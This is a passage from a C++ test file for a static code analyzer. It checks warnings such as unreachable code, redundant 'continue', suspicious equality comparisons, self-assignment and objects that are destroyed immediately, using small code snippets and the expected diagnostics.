register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n 